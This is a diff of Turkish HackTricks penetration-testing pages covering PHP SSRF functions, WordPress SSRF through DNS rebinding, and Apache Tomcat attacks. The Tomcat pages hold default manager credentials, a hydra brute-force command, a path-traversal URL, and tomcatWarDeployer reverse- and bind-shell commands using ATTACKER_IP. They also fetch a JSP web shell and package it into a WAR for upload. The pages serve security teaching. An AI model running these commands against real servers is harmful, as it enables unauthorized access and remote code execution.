AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -15,14 +15,6 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### SSRF PHP fonksiyonları ### SSRF PHP fonksiyonları
**file\_get\_contents(), fopen(), file(), md5\_file()** gibi bazı fonksiyonlar, kontrol edilebilen veriler varsa **SSRF zafiyetlerini mümkün kılacak** URL'leri girdi olarak kabul eder: **file\_get\_contents(), fopen(), file(), md5\_file()** gibi bazı fonksiyonlar, kontrol edilebilen veriler varsa **SSRF zafiyetlerini mümkün kılacak** URL'leri girdi olarak kabul eder:
@ -34,7 +26,7 @@ md5_file("http://127.0.0.1:8081");
``` ```
### Wordpress SSRF via DNS Rebinding ### Wordpress SSRF via DNS Rebinding
As [**bu blog yazısında açıklandığı gibi**](https://patchstack.com/articles/exploring-the-unpatched-wordpress-ssrf), Wordpress fonksiyonu **`wp_safe_remote_get`** DNS rebinding'e karşı savunmasızdır ve bu da onu SSRF saldırılarına karşı potansiyel olarak savunmasız hale getirir. Çağırdığı ana doğrulama **wp\_http\_validate\_ur**l'dir, bu da protokolün `http://` veya `https://` olduğunu ve portun **80**, **443** ve **8080**'den biri olduğunu kontrol eder, ancak **DNS rebinding'e karşı savunmasızdır**. As [**bu blog yazısında açıklandığı gibi**](https://patchstack.com/articles/exploring-the-unpatched-wordpress-ssrf), Wordpress fonksiyonu **`wp_safe_remote_get`** DNS rebinding'e karşı savunmasızdır ve bu da onu SSRF saldırılarına karşı potansiyel olarak savunmasız hale getirir. Çağırdığı ana doğrulama **wp\_http\_validate\_ur**l'dir, bu da protokolün `http://` veya `https://` olduğunu ve portun **80**, **443** veya **8080**'den biri olduğunu kontrol eder, ancak **DNS rebinding'e karşı savunmasızdır**.
Yazıya göre diğer savunmasız fonksiyonlar şunlardır: Yazıya göre diğer savunmasız fonksiyonlar şunlardır:
@ -83,12 +75,6 @@ $options = array(
$context = stream_context_create($options); $context = stream_context_create($options);
$file = file_get_contents($url, false, $context); $file = file_get_contents($url, false, $context);
``` ```
**Try Hard Security Group**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -98,7 +84,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.** * **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>

View file

@ -15,14 +15,6 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Keşif ## Keşif
* Genellikle **port 8080** üzerinde çalışır * Genellikle **port 8080** üzerinde çalışır
@ -67,9 +59,9 @@ msf> use auxiliary/scanner/http/tomcat_mgr_login
``` ```
Başka bir dikkat çekici dizin **`/manager/status`**'dır; bu dizin Tomcat ve OS sürümünü gösterir, bu da zafiyetlerin belirlenmesine yardımcı olur. Başka bir dikkat çekici dizin **`/manager/status`**'dır; bu dizin Tomcat ve OS sürümünü gösterir, bu da zafiyetlerin belirlenmesine yardımcı olur.
### **Brute Force Saldırısı** ### **Kaba Güç Saldırısı**
Yönetici dizinine brute force saldırısı denemek için şunlar kullanılabilir: Yönetici dizinine kaba güç saldırısı denemek için şunlar kullanılabilir:
```bash ```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
``` ```
@ -79,11 +71,11 @@ Along with setting various parameters in Metasploit to target a specific host.
### **Password Backtrace Disclosure** ### **Password Backtrace Disclosure**
`/auth.jsp` erişimi, şanslı durumlarda bir backtrace altında parolanın ifşasını ortaya çıkarabilir. `/auth.jsp` erişimi, şanslı durumlarda bir backtrace altında parolanın ifşa olmasına neden olabilir.
### **Double URL Encoding** ### **Double URL Encoding**
`mod_jk` içindeki CVE-2007-1860 açığı, özel olarak hazırlanmış bir URL aracılığıyla yönetim arayüzüne yetkisiz erişim sağlayarak çift URL kodlaması yol geçişine izin verir. `mod_jk` içindeki CVE-2007-1860 açığı, çift URL kodlaması ile yol geçişine izin vererek, özel olarak hazırlanmış bir URL aracılığıyla yönetim arayüzüne yetkisiz erişim sağlar.
Tomcat'in yönetim web'ine erişmek için: `pathTomcat/%252E%252E/manager/html` adresine gidin. Tomcat'in yönetim web'ine erişmek için: `pathTomcat/%252E%252E/manager/html` adresine gidin.
@ -167,7 +159,7 @@ git clone https://github.com/mgeeky/tomcatWarDeployer.git
```bash ```bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/ ./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
``` ```
#### Bağlantı kabuğu #### Bind shell
```bash ```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/ ./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
``` ```
@ -212,7 +204,7 @@ Bu (yükleme, indirme ve komut yürütme sağlar) yükleyebilirsiniz: [http://vo
### Manuel Yöntem 2 ### Manuel Yöntem 2
[Bu](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) gibi bir JSP web shell alın ve bir WAR dosyası oluşturun: [bu](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) gibi bir JSP web shell alın ve bir WAR dosyası oluşturun:
```bash ```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp zip -r backup.war cmd.jsp
@ -239,12 +231,6 @@ msf> use post/windows/gather/enum_tomcat
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat) * [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf) * [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -255,7 +241,7 @@ GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın.** * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -15,14 +15,6 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Keşif ## Keşif
* Genellikle **port 8080** üzerinde çalışır * Genellikle **port 8080** üzerinde çalışır
@ -38,7 +30,7 @@ Apache Tomcat'in versiyonunu bulmak için basit bir komut çalıştırılabilir:
```bash ```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
``` ```
Bu, belgeler dizin sayfasında "Tomcat" terimini arayacak ve HTML yanıtının başlık etiketinde sürümü ortaya çıkaracaktır. Bu, HTML yanıtının başlık etiketinde sürümü ortaya çıkararak, belgeler dizin sayfasında "Tomcat" terimini arayacaktır.
### **Yönetici Dosyaları Konumu** ### **Yönetici Dosyaları Konumu**
@ -52,7 +44,7 @@ msf> use auxiliary/scanner/http/tomcat_enum
``` ```
### **Varsayılan Kimlik Bilgileri** ### **Varsayılan Kimlik Bilgileri**
**`/manager/html`** dizini, WAR dosyalarının yüklenmesine ve dağıtılmasına izin verdiği için özellikle hassastır; bu da kod yürütmeye yol açabilir. Bu dizin, yaygın kimlik bilgileri olan temel HTTP kimlik doğrulaması ile korunmaktadır: **`/manager/html`** dizini, WAR dosyalarının yüklenmesine ve dağıtılmasına izin verdiği için özellikle hassastır; bu da kod yürütmeye yol açabilir. Bu dizin, yaygın kimlik bilgileri ile temel HTTP kimlik doğrulaması ile korunmaktadır:
* admin:admin * admin:admin
* tomcat:tomcat * tomcat:tomcat
@ -67,7 +59,7 @@ msf> use auxiliary/scanner/http/tomcat_mgr_login
``` ```
Başka bir dikkat çekici dizin **`/manager/status`**'dır; bu dizin Tomcat ve OS sürümünü gösterir, bu da zafiyetlerin belirlenmesine yardımcı olur. Başka bir dikkat çekici dizin **`/manager/status`**'dır; bu dizin Tomcat ve OS sürümünü gösterir, bu da zafiyetlerin belirlenmesine yardımcı olur.
### **Brute Force Attack** ### **Brute Force Saldırısı**
Yönetici dizinine brute force saldırısı denemek için şunlar kullanılabilir: Yönetici dizinine brute force saldırısı denemek için şunlar kullanılabilir:
```bash ```bash
@ -79,17 +71,17 @@ Along with setting various parameters in Metasploit to target a specific host.
### **Password Backtrace Disclosure** ### **Password Backtrace Disclosure**
`/auth.jsp` erişimi, şanslı durumlarda bir backtrace altında parolanın ifşa olmasına neden olabilir. `/auth.jsp` erişimi, şanslı durumlarda bir backtrace altında şifreyi açığa çıkarabilir.
### **Double URL Encoding** ### **Double URL Encoding**
`mod_jk` içindeki CVE-2007-1860 açığı, özel olarak hazırlanmış bir URL aracılığıyla yönetim arayüzüne yetkisiz erişim sağlayan çift URL kodlaması yol geçişine izin verir. `mod_jk` içindeki CVE-2007-1860 açığı, çift URL kodlaması ile yol geçişine izin vererek, özel olarak hazırlanmış bir URL aracılığıyla yönetim arayüzüne yetkisiz erişim sağlar.
Tomcat yönetim web'ine erişmek için: `pathTomcat/%252E%252E/manager/html` adresine gidin. Tomcat yönetim webine erişmek için: `pathTomcat/%252E%252E/manager/html` adresine gidin.
### /examples ### /examples
Apache Tomcat sürümleri 4.x'ten 7.x'e kadar, bilgi ifşasına ve cross-site scripting (XSS) saldırılarına karşı hassas örnek betikler içerir. Bu betikler, yetkisiz erişim ve potansiyel istismar için kontrol edilmelidir. [daha fazla bilgi burada](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/) bulun. Apache Tomcat sürümleri 4.x'ten 7.x'e kadar, bilgi ifşasına ve cross-site scripting (XSS) saldırılarına karşı hassas örnek betikler içerir. Bu betikler, yetkisiz erişim ve potansiyel istismar için kontrol edilmelidir. [daha fazla bilgi burada](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
* /examples/jsp/num/numguess.jsp * /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp * /examples/jsp/dates/date.jsp
@ -128,7 +120,7 @@ Son olarak, Tomcat Web Uygulama Yöneticisi'ne erişiminiz varsa, **.war dosyas
### Limitations ### Limitations
Sadece **yeterli ayrıcalıklara** (roller: **admin**, **manager** ve **manager-script**) sahip olduğunuzda bir WAR dağıtabilirsiniz. Bu ayrıntılar genellikle `/usr/share/tomcat9/etc/tomcat-users.xml` altında tanımlanan _tomcat-users.xml_ dosyasında bulunabilir (sürümlere göre değişir) (bkz. [POST ](./#post)section). Sadece **yeterli ayrıcalıklara** (roller: **admin**, **manager** ve **manager-script**) sahipseniz bir WAR dağıtabilirsiniz. Bu detaylar genellikle `/usr/share/tomcat9/etc/tomcat-users.xml` altında tanımlanan _tomcat-users.xml_ dosyasında bulunabilir (sürümlere göre değişir) (bkz. [POST ](./#post)section).
```bash ```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed # tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
@ -208,11 +200,11 @@ jar -cvf ../webshell.war *
webshell.war is created webshell.war is created
# Upload it # Upload it
``` ```
Bu da yükleme, indirme ve komut yürütme sağlar: [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html) Bu (yükleme, indirme ve komut yürütme sağlar) yükleyebilirsiniz: [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
### Manuel Yöntem 2 ### Manuel Yöntem 2
[Bu](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) gibi bir JSP web shell alın ve bir WAR dosyası oluşturun: [bu](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) gibi bir JSP web shell alın ve bir WAR dosyası oluşturun:
```bash ```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp zip -r backup.war cmd.jsp
@ -221,7 +213,7 @@ zip -r backup.war cmd.jsp
``` ```
## POST ## POST
Tomcat kimlik bilgileri dosyasının adı _tomcat-users.xml_dir. Tomcat kimlik bilgileri dosyasının adı _tomcat-users.xml_
```bash ```bash
find / -name tomcat-users.xml 2>/dev/null find / -name tomcat-users.xml 2>/dev/null
``` ```
@ -239,11 +231,6 @@ msf> use post/windows/gather/enum_tomcat
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat) * [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf) * [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
**Try Hard Security Group**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -254,7 +241,7 @@ GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın.** * **Hacking ipuçlarını [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın.**
</details> </details>

View file

@ -1,28 +1,20 @@
# Temel Tomcat Bilgisi # Temel Tomcat Bilgisi
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### Root ile çalışmaktan kaçının ### Root ile çalışmaktan kaçının
Tomcat'i root ile çalıştırmamak için çok yaygın bir yapılandırma, port 80/443'te bir Apache sunucusu ayarlamak ve eğer istenen yol bir regexp ile eşleşiyorsa, isteğin farklı bir portta çalışan Tomcat'e gönderilmesidir. Tomcat'i root ile çalıştırmamak için çok yaygın bir yapılandırma, port 80/443'te bir Apache sunucusu ayarlamak ve eğer istenen yol bir regexp ile eşleşiyorsa, isteğin farklı bir portta çalışan Tomcat'e gönderilmesidir.
@ -76,7 +68,7 @@ webapps/customapp
└── classes └── classes
└── AdminServlet.class └── AdminServlet.class
``` ```
En önemli dosya `WEB-INF/web.xml` olup, dağıtım tanımlayıcısı olarak bilinir. Bu dosya, uygulama tarafından kullanılan **yollar hakkında bilgi** ve bu yolları yöneten sınıfları saklar.\ En önemli dosya `WEB-INF/web.xml`'dir, bu dosya dağıtım tanımlayıcısı olarak bilinir. Bu dosya, uygulama tarafından kullanılan **yollar hakkında bilgi** ve bu yolları yöneten sınıfları saklar.\
Uygulama tarafından kullanılan tüm derlenmiş sınıflar `WEB-INF/classes` klasöründe saklanmalıdır. Bu sınıflar önemli iş mantığı ve hassas bilgiler içerebilir. Bu dosyalardaki herhangi bir zafiyet, web sitesinin tamamen tehlikeye girmesine yol açabilir. `lib` klasörü, o belirli uygulama için gereken kütüphaneleri saklar. `jsp` klasörü, [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages) olarak bilinen, daha önce `JavaServer Pages` olarak adlandırılan dosyaları saklar; bu dosyalar, bir Apache sunucusundaki PHP dosyalarıyla karşılaştırılabilir. Uygulama tarafından kullanılan tüm derlenmiş sınıflar `WEB-INF/classes` klasöründe saklanmalıdır. Bu sınıflar önemli iş mantığı ve hassas bilgiler içerebilir. Bu dosyalardaki herhangi bir zafiyet, web sitesinin tamamen tehlikeye girmesine yol açabilir. `lib` klasörü, o belirli uygulama için gereken kütüphaneleri saklar. `jsp` klasörü, [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages) olarak bilinen, daha önce `JavaServer Pages` olarak adlandırılan dosyaları saklar; bu dosyalar, bir Apache sunucusundaki PHP dosyalarıyla karşılaştırılabilir.
İşte bir örnek **web.xml** dosyası. İşte bir örnek **web.xml** dosyası.
@ -97,17 +89,17 @@ Uygulama tarafından kullanılan tüm derlenmiş sınıflar `WEB-INF/classes` kl
</servlet-mapping> </servlet-mapping>
</web-app> </web-app>
``` ```
Yukarıdaki `web.xml` yapılandırması, **`com.inlanefreight.api.AdminServlet`** sınıfına eşlenen **yeni bir servlet olan `AdminServlet`** tanımlar. Java, paket adları oluşturmak için nokta notasyonunu kullanır, bu da yukarıda tanımlanan sınıfın disk üzerindeki yolunun: The `web.xml` yapılandırması yukarıda **`AdminServlet`** adında **yeni bir servlet** tanımlar ve bu servlet **`com.inlanefreight.api.AdminServlet`** sınıfına eşlenmiştir. Java, paket adları oluşturmak için nokta notasyonunu kullanır, bu da yukarıda tanımlanan sınıfın disk üzerindeki yolunun:
* **`classes/com/inlanefreight/api/AdminServlet.class`** * **`classes/com/inlanefreight/api/AdminServlet.class`**
olacağı anlamına gelir. olacağı anlamına gelir.
Sonra, **`AdminServlet`** ile `/admin` isteklerini **eşlemek için yeni bir servlet eşlemesi** oluşturulur. Bu yapılandırma, **`/admin`** için alınan herhangi bir isteği işlenmesi için **`AdminServlet.class`** sınıfına gönderecektir. **`web.xml`** tanımlayıcısı birçok **hassas bilgi** içerir ve **Yerel Dosya Dahil Etme (LFI) zafiyetini** kullanırken kontrol edilmesi gereken önemli bir dosyadır. Sonraki adımda, **`/admin` isteklerini `AdminServlet` ile eşlemek için yeni bir servlet eşlemesi** oluşturulur. Bu yapılandırma, **`/admin`** için alınan herhangi bir isteği işlenmesi için **`AdminServlet.class`** sınıfına gönderecektir. **`web.xml`** tanımlayıcısı birçok **hassas bilgi** içerir ve **Local File Inclusion (LFI) zafiyetini** kullanırken kontrol edilmesi gereken önemli bir dosyadır.
### tomcat-users ### tomcat-users
**`tomcat-users.xml`** dosyası, **`/manager` ve `host-manager`** yönetici sayfalarına erişimi **izin vermek** veya **izin vermemek** için kullanılır. **`tomcat-users.xml`** dosyası, **`/manager` ve `host-manager` yönetici sayfalarına** erişimi **izin vermek** veya **izin vermemek** için kullanılır.
```xml ```xml
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
@ -154,11 +146,6 @@ Dosya, `manager-gui`, `manager-script`, `manager-jmx` ve `manager-status` roller
* [https://academy.hackthebox.com/module/113/section/1090](https://academy.hackthebox.com/module/113/section/1090) * [https://academy.hackthebox.com/module/113/section/1090](https://academy.hackthebox.com/module/113/section/1090)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
